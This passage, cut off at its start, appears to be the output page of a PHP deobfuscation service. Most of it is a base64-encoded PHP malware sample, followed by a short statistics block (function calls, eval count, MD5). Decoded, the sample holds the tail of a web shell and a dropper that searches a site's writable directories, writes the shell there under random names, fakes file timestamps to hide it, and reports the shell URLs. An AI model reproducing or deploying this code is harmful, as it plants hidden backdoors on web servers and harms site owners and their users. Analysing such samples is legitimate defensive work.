pQmxQU1FvZEdocGN5a3VZWFIwY2lnaWFISmxaaUlwTzJocGMzUnZjbmt1Y0hWemFGTjBZWFJsS0NJaUxDSWlMR1VwTENRdVoyVjBLR1VzWm5WdVkzUnBiMjRvZENsN0pDZ2lZbTlrZVNJcExtaDBiV3dvZENsOUtYMHBPd29KQ1FrOEwzTmpjbWx3ZEQ0S0NRazhMMkp2WkhrK0NnazhMMmgwYld3K0Nqdy9jR2h3Q2dsbWRXNWpkR2x2YmlCeVpXTW9KR29wSUhzS0NRbG5iRzlpWVd3Z0pFZE9TanNLQ1FscFppaDBjbWx0S0hCaGRHaHBibVp2S0NScUxDQlFRVlJJU1U1R1QxOUNRVk5GVGtGTlJTQXBMQ0FuTGljcElEMDlQU0FuSnlrZ2V3b0pDUWx5WlhSMWNtNDdDZ2tKZlFvSkNXbG1LQ1JIVGtwYk9GMG9KR29wS1NCN0Nna0pDV0Z5Y21GNVgyMWhjQ2duY21Wakp5d2daMnh2WWlna2FpQXVJRVJKVWtWRFZFOVNXVjlUUlZCQlVrRlVUMUlnTGlBbmV5d3VmU29uTENCSFRFOUNYMEpTUVVORklId2dSMHhQUWw5T1QxTlBVbFFwS1RzS0NRa0pKRWRPU2xzek5WMG9KR29wT3dvSkNYMEtDUWxsYkhObElIc0tDUWtKSkVkT1Nsc3hNRjBvSkdvcE93b0pDWDBLQ1gwS0NXWjFibU4wYVc5dUlHUnlaU2drZVRFc0lDUjVNaWtnZXdvSkNXZHNiMkpoYkNBa1IwNUtPd29KQ1c5aVgzTjBZWEowS0NrN0Nna0pKRWRPU2xzeE5sMG9KSGt4S0NSNU1pa3BPd29KQ1hKbGRIVnliaUFrUjA1S1d6TTJYU2dwT3dvSmZRb0pablZ1WTNScGIyNGdhR1Y0S0NSdUtTQjdDZ2tKSkhrOUp5YzdDZ2tKWm05eUlDZ2thVDB3T3lBa2FTQThJSE4wY214bGJpZ2tiaWs3SUNScEt5c3Bld29KQ1Fra2VTQXVQU0JrWldOb1pYZ29iM0prS0NSdVd5UnBYU2twT3dvSkNYMEtDUWx5WlhSMWNtNGdKSGs3Q2dsOUNnbG1kVzVqZEdsdmJpQjFhR1Y0S0NSNUtTQjdDZ2tKSkc0OUp5YzdDZ2tKWm05eUlDZ2thVDB3T3lBa2FTQThJSE4wY214bGJpZ2tlU2t0TVRzZ0pHa3JQVElwZXdvSkNRa2tiaUF1UFNCamFISW9hR1Y0WkdWaktDUjVXeVJwWFM0a2VWc2thU3N4WFNrcE93b0pDWDBLQ1FseVpYUjFjbTRnSkc0N0NnbDlDZ2xtZFc1amRHbHZiaUJQU3lncElIc0tDUWxuYkc5aVlXd2dKRWRPU2l3Z0pHUTdDZ2tKSkVkT1Nsc3pPRjBvSkVkT1NsczVYU2s3Q2drSmFHVmhaR1Z5S0NKTWIyTmhkR2x2YmpvZ1AyUTlJaTVvWlhnb0pHUXBMaUltTVNJcE93b0pDV1Y0YVhRb0tUc0tDWDBLQ1daMWJtTjBhVzl1SUVWU0tDa2dld29KQ1dkc2IySmhiQ0FrUjA1S0xDQWtaRHNLQ1Fra1IwNUtXek00WFNna1IwNUtXemxkS1RzS0NRbG9aV0ZrWlhJb0lreHZZMkYwYVc5dU9pQS9aRDBpTG1obGVDZ2taQ2t1SWlZd0lpazdDZ2tKWlhocGRDZ3BPd29KZlFvSlpuVnVZM1JwYjI0Z2VDZ2tZeWtnZXdvSkNXZHNiMkpoYkNBa1IwNUtPd29KQ1NSNElEMGdKRWRPU2xzeU5GMG9KR01wT3dvSkNXbG1LQ2drZUNBbUlEQjRRekF3TUNrZ1BUMGdNSGhETURBd0tTQjdDZ2tKQ1NSMUlEMGdJbk1pT3dvSkNYMEtDUWxsYkhObGFXWW9LQ1I0SUNZZ01IaEJNREF3S1NBOVBTQXdlRUV3TURBcElIc0tDUWtKSkhVZ1BTQWliQ0k3Q2drSmZRb0pDV1ZzYzJWcFppZ29KSGdnSmlBd2VEZ3dNREFwSUQwOUlEQjRPREF3TUNrZ2V3b0pDUWtrZFNBOUlDSXRJanNLQ1FsOUNna0paV3h6WldsbUtDZ2tlQ0FtSURCNE5qQXdNQ2tnUFQwZ01IZzJNREF3S1NCN0Nna0pDU1IxSUQwZ0ltSWlPd29KQ1gwS0NRbGxiSE5sYVdZb0tDUjRJQ1lnTUhnME1EQXdLU0E5UFNBd2VEUXdNREFwSUhzS0NRa0pKSFVnUFNBaVpDSTdDZ2tKZlFvSkNXVnNjMlZwWmlnb0pIZ2dKaUF3ZURJd01EQXBJRDA5SURCNE1qQXdNQ2tnZXdvSkNRa2tkU0E5SUNKaklqc0tDUWw5Q2drSlpXeHpaV2xtS0Nna2VDQW1JREI0TVRBd01Da2dQVDBnTUhneE1EQXdLU0I3Q2drSkNTUjFJRDBnSW5BaU93b0pDWDBLQ1FsbGJITmxJSHNLQ1FrSkpIVWdQU0FpZFNJN0Nna0pmUW9KQ1NSMUlDNDlJQ2dvSkhnZ0ppQXdlREF4TURBcElEOGdJbklpSURvZ0lpMGlLVHNLQ1Fra2RTQXVQU0FvS0NSNElDWWdNSGd3TURnd0tTQS9JQ0ozSWlBNklDSXRJaWs3Q2drSkpIVWdMajBnS0Nna2VDQW1JREI0TURBME1Da2dQeUFvS0NSNElDWWdNSGd3T0RBd0tTQS9JQ0p6SWlBNklDSjRJaWtnT2lBb0tDUjRJQ1lnTUhnd09EQXdLU0EvSUNKVElpQTZJQ0l0SWlrcE93b0pDU1IxSUM0OUlDZ29KSGdnSmlBd2VEQXdNakFwSUQ4Z0luSWlJRG9nSWkwaUtUc0tDUWtrZFNBdVBTQW9LQ1I0SUNZZ01IZ3dNREV3S1NBL0lDSjNJaUE2SUNJdElpazdDZ2tKSkhVZ0xqMGdLQ2drZUNBbUlEQjRNREF3T0NrZ1B5QW9LQ1I0SUNZZ01IZ3dOREF3S1NBL0lDSnpJaUE2SUNKNElpa2dPaUFvS0NSNElDWWdNSGd3TkRBd0tTQS9JQ0pUSWlBNklDSXRJaWtwT3dvSkNTUjFJQzQ5SUNnb0pIZ2dKaUF3ZURBd01EUXBJRDhnSW5JaUlEb2dJaTBpS1RzS0NRa2tkU0F1UFNBb0tDUjRJQ1lnTUhnd01EQXlLU0EvSUNKM0lpQTZJQ0l0SWlrN0Nna0pKSFVnTGowZ0tDZ2tlQ0FtSURCNE1EQXdNU2tnUHlBb0tDUjRJQ1lnTUhnd01qQXdLU0EvSUNKMElpQTZJQ0o0SWlrZ09pQW9LQ1I0SUNZZ01IZ3dNakF3S1NBL0lDSlVJaUE2SUNJdElpa3BPd29KQ1hKbGRIVnliaUFrZFRzS0NYMEtDV2xtS0dsemMyVjBLQ1JmUjBWVVd5Sm5JbDBwS1NCN0Nna0pKRWRPU2xzek9GMG9KRWRPU2xzNVhTazdDZ2tKYUdWaFpHVnlLQ0pEYjI1MFpXNTBMVlI1Y0dVNklHRndjR3hwWTJGMGFXOXVMMjlqZEdWMExYTjBjbVZoYlNJcE93b0pDV2hsWVdSbGNpZ2lRMjl1ZEdWdWRDMVVjbUZ1YzJabGNpMUZibU52WkdsdVp6b2dRbWx1WVhKNUlpazdDZ2tKYUdWaFpHVnlLQ0pEYjI1MFpXNTBMVXhsYm1kMGFEb2dJaTRrUjA1S1d6TTBYU2gxYUdWNEtDUmZSMFZVV3lKbklsMHBLU2s3Q2drSmFHVmhaR1Z5S0NKRGIyNTBaVzUwTFdScGMzQnZjMmwwYVc5dU9pQmhkSFJoWTJodFpXNTBPeUJtYVd4bGJtRnRaVDFjSWlJdWRXaGxlQ2drWDBkRlZGc2laeUpkS1M0aVhDSWlLVHNLQ1Fra1IwNUtXek0zWFNoMWFHVjRLQ1JmUjBWVVd5Sm5JbDBwS1RzS0NYMEtQejQ9IjsKJHBheWxvYWRfbmFtZSA9ICIiOwoKc3JhbmQodGltZSgpKTsKCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwpmdW5jdGlvbiBjb21wYXJlcigkYSwgJGIpCnsKICAgIHJldHVybiBzdHJsZW4oJGEpLXN0cmxlbigkYik7Cn0KCmlmICghZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250ZW50cycpKSB7CiAgICBmdW5jdGlvbiBmaWxlX3B1dF9jb250ZW50cygkZmlsZW5hbWUsICRkYXRhKSB7CiAgICAgICAgJGYgPSBAZm9wZW4oJGZpbGVuYW1lLCAndycpOwogICAgICAgIGlmICghJGYpIHsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRieXRlcyA9IGZ3cml0ZSgkZiwgJGRhdGEpOwogICAgICAgICAgICBmY2xvc2UoJGYpOwogICAgICAgICAgICByZXR1cm4gJGJ5dGVzOwogICAgICAgIH0KICAgIH0KfQoKZnVuY3Rpb24gR2V0UGF0aERpZmYoJGJhc2VfcGF0aCwgJGZ1bGxfcGF0aCkKewogICAgJHBvcyA9IHN0cnBvcygkZnVsbF9wYXRoLCAkYmFzZV9wYXRoKTsKCiAgICBpZiAoJHBvcyA9PT0gRkFMU0UpCiAgICB7CiAgICAgICAgcmV0dXJuIEZBTFNFOwogICAgfQoKICAgIHJldHVybiBzdWJzdHIoJGZ1bGxfcGF0aCwgJHBvcyArIHN0cmxlbigkYmFzZV9wYXRoKSk7Cn0KCmZ1bmN0aW9uIEdldFdyaXRhYmxlRGlycygpCnsKICAgICRyZXMgPSBBcnJheSgpOwoKICAgICRhbmFseXN5c19xdWV1ZSA9IEFycmF5KCk7CgogICAgJGFuYWx5c3lzX3F1ZXVlW10gPSBHZXREb2NSb290KCk7CgogICAgJHNlbGZfcGF0aCA9ICRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXTsKICAgIHdoaWxlICgoJHNsYXNoID0gc3RycnBvcygkc2VsZl9wYXRoLCBESVJFQ1RPUllfU0VQQVJBVE9SKSkgIT09IEZBTFNFKQogICAgewogICAgICAgICRzZWxmX3BhdGggPSBzdWJzdHIoJHNlbGZfcGF0aCwgMCwgJHNsYXNoKTsKCiAgICAgICAgaWYgKCRzZWxmX3BhdGggPT0gR2V0RG9jUm9vdCgpKQogICAgICAgIHsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQoKICAgICAgICBpZiAoc3RybGVuKCRzZWxmX3BhdGgpKQogICAgICAgIHsKICAgICAgICAgICAgJGFuYWx5c3lzX3F1ZXVlW10gPSAkc2VsZl9wYXRoOwogICAgICAgIH0KICAgIH0KCiAgICBmb3JlYWNoICgkYW5hbHlzeXNfcXVldWUgYXMgJGN1cnJlbnRfZGlyKQogICAgewogICAgICAgIGlmICghaW5fYXJyYXkoJGN1cnJlbnRfZGlyLCAkcmVzKSkKICAgICAgICB7CiAgICAgICAgICAgICRyZXMgPSBhcnJheV9tZXJnZSgkcmVzLCBHZXREaXJlY3RvcnlMaXN0KCRjdXJyZW50X2RpcikpOwogICAgICAgIH0KICAgIH0KICAgICRyZXMgPSBhcnJheV9tZXJnZSgkYW5hbHlzeXNfcXVldWUsICRyZXMpOwoKICAgIHJldHVybiBDaGVja1dyaXRhYmxlKGFycmF5X3VuaXF1ZSgkcmVzKSk7Cn0KCmZ1bmN0aW9uIENoZWNrV3JpdGFibGUoJGRpcl9saXN0KQp7CiAgICAkZGlyX2xpc3Rfd3JpdGFibGUgPSBBcnJheSgpOwoKICAgIGZvcmVhY2ggKCRkaXJfbGlzdCBhcyAkZGlyKQogICAgewogICAgICAgIGlmIChAaXNfd3JpdGFibGUoJGRpcikgPT0gVFJVRSkKICAgICAgICB7CiAgICAgICAgICAgICRkaXJfbGlzdF93cml0YWJsZVtdID0gJGRpcjsKICAgICAgICB9CiAgICB9CgogICAgcmV0dXJuICRkaXJfbGlzdF93cml0YWJsZTsKfQoKZnVuY3Rpb24gR2V0RGlyZWN0b3J5TGlzdCgkZGlyLCAkZGVwdGg9MTAwMCkKewoKICAgICRyZXN1bHQgPSBhcnJheSgpOwogICAgJGRpcl9jb3VudCA9IDA7CgogICAgaWYgKCRkZXB0aCA9PSAwKQogICAgewogICAgICAgIHJldHVybiAkcmVzdWx0OwogICAgfQoKICAgICRkaXIgPSBzdHJsZW4oJGRpcikgPT0gMSA/ICRkaXIgOiBydHJpbSgkZGlyLCAnXFwvJyk7CiAgICAkaCA9IEBvcGVuZGlyKCRkaXIpOwogICAgaWYgKCRoID09PSBGQUxTRSkKICAgIHsKICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KCiAgICB3aGlsZSAoKCRmID0gcmVhZGRpcigkaCkpICE9PSBGQUxTRSkKICAgIHsKICAgICAgICBpZiAoJGYgIT09ICcuJyBhbmQgJGYgIT09ICcuLicpCiAgICAgICAgewogICAgICAgICAgICAkY3VycmVudF9kaXIgPSAiJGRpci8kZiI7CiAgICAgICAgICAgIGlmIChpc19kaXIoJGN1cnJlbnRfZGlyKSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgJGRpcl9jb3VudCArPSAxOwoKICAgICAgICAgICAgICAgIGlmICgkZGlyX2NvdW50ID49ICRkZXB0aCkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAkcmVzdWx0W10gPSAkY3VycmVudF9kaXI7CiAgICAgICAgICAgICAgICAkcmVzdWx0ID0gYXJyYXlfbWVyZ2UoJHJlc3VsdCwgR2V0RGlyZWN0b3J5TGlzdCgkY3VycmVudF9kaXIsICRkZXB0aCAvIDEwKSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CgogICAgY2xvc2VkaXIoJGgpOwoKICAgIHJldHVybiAkcmVzdWx0Owp9CgpmdW5jdGlvbiBHZXREb2NSb290KCkKewogICAgJGRvY3Jvb3RfZW5kID0gc3RycnBvcygkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10sICRfU0VSVkVSWydSRVFVRVNUX1VSSSddKTsKICAgIGlmICgkZG9jcm9vdF9lbmQgPT09IEZBTFNFKQogICAgewogICAgICAgIHJldHVybiAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddOwogICAgfQogICAgZWxzZWlmICgkZG9jcm9vdF9lbmQgPT09IDApCiAgICB7CiAgICAgICAgcmV0dXJuICIvIjsKICAgIH0KICAgIGVsc2UKICAgIHsKICAgICAgICByZXR1cm4gc3Vic3RyKCRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXSwgMCwgJGRvY3Jvb3RfZW5kKTsKICAgIH0KfQoKZnVuY3Rpb24gR2V0UGF5bG9hZCgkcGF5bG9hZCkKewogICAgJGN1cnJlbnRfcGF5bG9hZCA9IGJhc2U2NF9kZWNvZGUoJHBheWxvYWQpOwoKICAgIHJldHVybiAkY3VycmVudF9wYXlsb2FkOwp9CgpmdW5jdGlvbiBXcml0ZVBheWxvYWQoJHBhdGgsICRwYXlsb2FkKQp7CiAgICBpZiAoIWZpbGVfZXhpc3RzKCRwYXRoKSkKICAgIHsKICAgICAgICBpZiAoZmlsZV9wdXRfY29udGVudHMoJHBhdGgsIEdldFBheWxvYWQoJHBheWxvYWQpKSAhPSBGQUxTRSkKICAgICAgICB7CiAgICAgICAgICAgIHJldHVybiBUUlVFOwogICAgICAgIH0KCiAgICB9CgogICAgcmV0dXJuIEZBTFNFOwp9CgovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwoKIyBnZXQgYmFzZSBsb2NhbCBhbmQgcmVtb3RlIHBhdGgKJGJhc2Vfd3d3X3BhdGggPSAkaG9zdCA9IEAkX1NFUlZFUlsnSFRUUF9IT1NUJ107CiRiYXNlX2xvY2FsX3BhdGggPSBHZXREb2NSb290KCk7CgppZiAoISgkYmFzZV9sb2NhbF9wYXRoX3RpbWUgPSBAc3RhdCgkYmFzZV9sb2NhbF9wYXRoLiIvLmh0YWNjZXNzIikpKQp7CiAgICBpZiAoISgkYmFzZV9sb2NhbF9wYXRoX3RpbWUgPSBAc3RhdCgkYmFzZV9sb2NhbF9wYXRoLiIvaW5kZXgucGhwIikpKQogICAgewogICAgICAgIGlmICghKCRiYXNlX2xvY2FsX3BhdGhfdGltZSA9IEBzdGF0KCRiYXNlX2xvY2FsX3BhdGguIi9pbmRleC5odG1sIikpKQogICAgICAgIHsKICAgICAgICAgICAgaWYgKCEoJGJhc2VfbG9jYWxfcGF0aF90aW1lID0gQHN0YXQoJGJhc2VfbG9jYWxfcGF0aC4iLy4uIikpKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBpZiAoISgkYmFzZV9sb2NhbF9wYXRoX3RpbWUgPSBAc3RhdCgkYmFzZV9sb2NhbF9wYXRoKSkpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgJGJhc2VfbG9jYWxfcGF0aF90aW1lID0gQXJyYXkoKTsKICAgICAgICAgICAgICAgICAgICAkYmFzZV9sb2NhbF9wYXRoX3RpbWVbJ210aW1lJ10gPSB0aW1lKCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0KCiRiYXNlX2xvY2FsX3BhdGhfdGltZSA9ICRiYXNlX2xvY2FsX3BhdGhfdGltZVsnbXRpbWUnXTsKCiRkaXJfbGlzdF93cml0YWJsZSA9IEdldFdyaXRhYmxlRGlycygpOwoKaWYgKGNvdW50KCRkaXJfbGlzdF93cml0YWJsZSkgPT0gMCkKewogICAgZWNobyAiVVJMI1NUQVRVU19VTldSSVRBQkxFIjsKICAgIGV4aXQoKTsKfQoKdXNvcnQoJGRpcl9saXN0X3dyaXRhYmxlLCAnY29tcGFyZXInKTsgIyBzb3J0IGRpcmVjdG9yeSBieSBsZW4KCiRsaXN0X3dyaXRhYmxlID0gQXJyYXkoKTsKJGxpc3Rfd3JpdGFibGVbXSA9ICRkaXJfbGlzdF93cml0YWJsZVswXTsKJGxpc3Rfd3JpdGFibGVbXSA9ICRkaXJfbGlzdF93cml0YWJsZVtyYW5kKDAsc2l6ZW9mKCRkaXJfbGlzdF93cml0YWJsZSkpXTsKJGdvb2QgPSBGQUxTRTsKJGdvb2RfY291bnRlciA9IDA7CiMgdHJ5IHRvIHVwbG9hZAokbWF4X3RyeWVzID0gc3RybGVuKCRwYXlsb2FkX25hbWUpID09IDAgPyA1IDogMTsKZm9yZWFjaCAoJGxpc3Rfd3JpdGFibGUgYXMgJGN1cnJlbnRfZGlyKQp7CiAgICAvLyBpZiBwYXlsb2FkIG5hbWUgaXMgc2V0LCBubyBtb3JlIG9uZSB0cnkgdG8gdXBsb2FkIG9uIGN1cnJlbnQgZGlyCiAgICAvL2ZvciAoJGk9MDsgJGkgPCAkbWF4X3RyeWVzOyAkaSsrKQogICAgewogICAgICAgIGlmIChzdHJsZW4oJHBheWxvYWRfbmFtZSkgPT0gMCkKICAgICAgICB7CiAgICAgICAgICAgICR0ZW1wX3BheWxvYWRfbmFtZSA9IGdlbmVyYXRlUmFuZG9tU3RyaW5nKCk7CiAgICAgICAgfQogICAgICAgIGVsc2UKICAgICAgICB7CiAgICAgICAgICAgICR0ZW1wX3BheWxvYWRfbmFtZSA9ICRwYXlsb2FkX25hbWU7CiAgICAgICAgfQoKICAgICAgICAkZnVsbF9wYXlsb2FkX25hbWUgPSAkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJHRlbXBfcGF5bG9hZF9uYW1lOwoKICAgICAgICAkdXJpX3BhdGggPSBHZXRQYXRoRGlmZigkYmFzZV9sb2NhbF9wYXRoLCAkZnVsbF9wYXlsb2FkX25hbWUpOwogICAgICAgIGlmIChzdHJwb3MoJHVyaV9wYXRoLCAkdGVtcF9wYXlsb2FkX25hbWUpID09PSBmYWxzZSkKICAgICAgICB7CiAgICAgICAgICAgICR1cmlfcGF0aCA9ICR1cmlfcGF0aCAuICIvIiAgLiAkdGVtcF9wYXlsb2FkX25hbWU7CiAgICAgICAgfQogICAgICAgICRmdWxsX3VyaSA9ICRiYXNlX3d3d19wYXRoIC4gKHN0cnBvcygkdXJpX3BhdGgsICIvIikgPT0gMCA/ICR1cmlfcGF0aCA6ICIvIi4kdXJpX3BhdGgpOwoKICAgICAgICBpZiAoV3JpdGVQYXlsb2FkKCRmdWxsX3BheWxvYWRfbmFtZSwgJHBheWxvYWRfZmlsZSkpCiAgICAgICAgewogICAgICAgICAgICB0b3VjaCgkZnVsbF9wYXlsb2FkX25hbWUsICRiYXNlX2xvY2FsX3BhdGhfdGltZSk7IC8vIHNldCBsYXN0IG1vZGlmaWNhdGlvbiB0aW1lIGFzIHJvb3QgZm9sZGVyCiAgICAgICAgICAgIGNobW9kKCRmdWxsX3BheWxvYWRfbmFtZSwgMDc1NSk7CiAgICAgICAgICAgIGVjaG8gIlVSTCNodHRwOi8vIiAuICRmdWxsX3VyaSAuIFBIUF9FT0w7CiAgICAgICAgICAgICRnb29kPVRSVUU7CiAgICAgICAgICAgICRnb29kX2NvdW50ZXIrKzsKICAgICAgICAgICAgaWYgKCRnb29kX2NvdW50ZXIgPjEpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIC8vdW5saW5rKCJkZmFvbmZwZmt3Zy5waHAiKTsKICAgICAgICAgICAgICAgIGVjaG8gIiNDQ0NVUkwiOwogICAgICAgICAgICAgICAgZXhpdCgpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQp9CmlmKCEkZ29vZCkKICAgIGVjaG8gIlVSTCNTVEFUVVNfQ0FOVFVQTE9BRCNDQ0NVUkwiOwplY2hvICIjQ0NDVVJMIjsKLy91bmxpbmsoImRmYW9uZnBma3dnLnBocCIpOwpleGl0KCk7")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 2f70ee678c2a2d4815989b3b94df31f9
Eval Count 1
Decode Time 153 ms